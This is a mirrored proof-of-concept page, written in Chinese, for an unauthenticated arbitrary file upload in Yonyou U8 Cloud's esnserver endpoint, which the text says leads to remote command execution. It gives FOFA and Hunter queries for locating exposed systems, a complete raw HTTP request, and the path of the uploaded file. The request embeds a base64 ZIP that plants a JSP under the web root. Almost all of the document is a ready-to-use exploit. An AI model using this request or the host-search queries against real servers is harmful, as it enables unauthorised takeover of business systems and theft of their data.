mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
39 lines
1.3 KiB
Markdown
39 lines
1.3 KiB
Markdown
# 用友U8-Cloud系统接口esnserver存在任意文件上传漏洞
|
||
用友U8 cloud前台任意文件上传导致远程命令执行漏洞。未经授权攻击者通过漏洞上传任意文件，最终可以获取服务器权限。
|
||
|
||
## fofa
|
||
|
||
```javascript
|
||
title=="U8C"
|
||
```
|
||
|
||
## hunter
|
||
|
||
```javascript
|
||
app.name="用友 U8 Cloud"
|
||
```
|
||
|
||
## poc
|
||
```plain
|
||
POST /service/esnserver HTTP/1.1
|
||
Host:
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
|
||
Accept-Encoding: gzip, deflate
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Token: 469ce01522f64366750d1995ca119841
|
||
Content-Length: 583
|
||
|
||
{"invocationInfo":{"ucode":"123","dataSource":"U8cloud","lang":"en"},"method":"uploadFile","className":"nc.itf.hr.tools.IFileTrans","param":{"p1":"UEsDBAoAAAAAAA9tSFkDJCbXbQAAAG0AAAAKAAAAY29tcHJlc3NlZDwlIG91dC5wcmludGxuKCIxMjM0NTYiKTsgbmV3IGphdmEuaW8uRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aChyZXF1ZXN0LmdldFNlcnZsZXRQYXRoKCkpKS5kZWxldGUoKTsgJT5QSwECHwAKAAAAAAAPbUhZAyQm120AAABtAAAACgAkAAAAAAAAACAAAAAAAAAAY29tcHJlc3NlZAoAIAAAAAAAAQAYACbiFZZEGdsBHOcblEgZ2wERXscDRxnbAVBLBQYAAAAAAQABAFwAAACVAAAAAAA","p2":"webapps/u8c_web/test123.jsp"},"paramType":["p1:[B","p2:java.lang.String"]}
|
||
```
|
||
|
||
|
||
|
||
上传文件位置
|
||
|
||
```plain
|
||
/test123.jsp
|
||
```
|
||
|
||
|
||
|